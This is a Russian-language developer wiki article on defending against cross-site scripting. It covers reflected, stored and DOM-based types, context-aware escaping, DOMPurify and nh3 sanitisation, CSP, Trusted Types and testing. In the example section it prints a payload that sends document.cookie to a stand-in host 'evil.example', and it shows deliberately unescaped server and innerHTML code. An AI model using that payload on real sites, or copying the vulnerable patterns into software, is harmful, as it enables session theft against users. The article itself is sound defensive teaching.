XSS (как защищаться)

Материал из llmdocs — справочник разработчика
XSS (как защищаться)
Полное названиеCross-Site Scripting
КлассификацияCWE-79; OWASP Top 10 — A03 Injection
Видыхранимый, отражённый, DOM-based
Последствиякража сессии, действия от имени пользователя, фишинг
Основная защитаконтекстное экранирование вывода
Дополнительная защитаCSP, HttpOnly cookie, Trusted Types
БиблиотекиDOMPurify, nh3 / bleach (Python)

XSS (Cross-Site Scripting, межсайтовый скриптинг) — уязвимость веб-приложения, при которой злоумышленник добивается выполнения своего JavaScript-кода в браузере других пользователей в контексте уязвимого сайта. Такой скрипт видит всё, что видит пользователь: может прочитать данные страницы, отправить запросы от его имени, подменить форму входа или украсть токен. XSS — одна из самых распространённых веб-уязвимостей; в OWASP Top 10 она входит в категорию инъекций.[4]

Как возникает

Причина — данные из недоверенного источника попадают в HTML-страницу без правильной обработки, и браузер интерпретирует их как код. Классический пример на сервере:

# уязвимо: строка вставляется в HTML как есть
return f"<p>Результаты поиска: {request.args['q']}</p>"

Запрос ?q=<script>fetch('https://evil.example/?c='+document.cookie)</script> превращает страницу в инструмент атаки — достаточно заманить жертву по ссылке.

Виды

Вид Где живёт полезная нагрузка Пример
Отражённый (reflected) в запросе, возвращается в ответе параметр поиска в URL
Хранимый (stored) в базе данных сайта комментарий, имя профиля, сообщение в чате
DOM-based обрабатывается JavaScript на клиенте location.hash вставляется через innerHTML

Хранимый XSS опаснее всего: срабатывает у каждого, кто откроет страницу, включая администраторов. DOM XSS не доходит до сервера, и серверные фильтры его не видят.[2]

Главная защита — экранирование по контексту

Данные должны вставляться в страницу так, чтобы браузер видел в них только текст. Способ экранирования зависит от контекста, куда попадают данные:[1]

Контекст Что делать
Текст внутри HTML-элемента HTML-экранирование: < → &lt;, & → &amp; и т. д.
Значение атрибута экранирование атрибута, значение всегда в кавычках
URL в href, src проверять схему (только http:/https:), запрещать javascript:
Внутри <script> или JS-строки не вставлять данные напрямую; передавать через data--атрибут или JSON с экранированием
CSS не вставлять пользовательские данные

Современные шаблонизаторы и фреймворки экранируют по умолчанию: Jinja2 с autoescape, шаблоны Django, Go html/template, React, Vue, Angular. Уязвимость появляется, когда разработчик явно отключает защиту:

  • {{ value|safe }} или Markup() в Jinja и Django;
  • dangerouslySetInnerHTML в React, v-html во Vue;
  • element.innerHTML = ..., document.write, eval, setTimeout со строкой в обычном JavaScript.

На клиенте для вставки текста используйте textContent вместо innerHTML (см. DOM):

el.textContent = userInput;          // безопасно: всегда текст
el.innerHTML = userInput;            // опасно

Когда нужен пользовательский HTML

Если пользователи должны форматировать текст (комментарии, редактор статей), HTML нельзя просто экранировать — его нужно санитизировать: оставить разрешённые теги и атрибуты, удалить всё остальное. Регулярные выражения для этого не подходят — используйте проверенные библиотеки: DOMPurify в браузере и Node.js, nh3 (или устаревающий bleach) в Python.[5] Часто проще принимать Markdown и превращать его в HTML с последующей санитизацией.

import DOMPurify from "dompurify";
el.innerHTML = DOMPurify.sanitize(userHtml);

Дополнительные слои

Content Security Policy. HTTP-заголовок, ограничивающий, какие скрипты браузер может выполнять. Строгая политика на основе nonce или хешей блокирует встроенные скрипты злоумышленника, даже если экранирование где-то пропущено:[3]

Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'

CSP — второй рубеж, а не замена экранированию; политика с 'unsafe-inline' почти не защищает.

Trusted Types. Механизм браузера, запрещающий передавать обычные строки в опасные API (innerHTML, eval) — только объекты, прошедшие через политику санитизации. Хорошо отлавливает DOM XSS в больших приложениях.[6]

HttpOnly cookie. Флаг не даёт JavaScript прочитать сессионную cookie (см. Cookie и сессии). XSS всё равно позволяет действовать от имени пользователя, но украсть сессию для использования вне браузера сложнее.

Проверка

  • Ищите в коде отключения автоэкранирования и опасные API (innerHTML, dangerouslySetInnerHTML, |safe, v-html).
  • Включите правила линтеров и статического анализа (ESLint-плагины безопасности, Semgrep, CodeQL).
  • Тестируйте поля ввода строками вроде "><img src=x onerror=alert(1)> и сканерами (OWASP ZAP, Burp Suite).
  • Помните, что выводом считается не только HTML-страница: письма, PDF, админ-панели и логи, отображаемые в браузере, тоже уязвимы.

См. также

Источники

  1. OWASP — Cross Site Scripting Prevention Cheat Sheet
  2. OWASP — DOM based XSS Prevention Cheat Sheet
  3. MDN — Content Security Policy (CSP)
  4. CWE-79: Improper Neutralization of Input During Web Page Generation
  5. DOMPurify
  6. MDN — Trusted Types API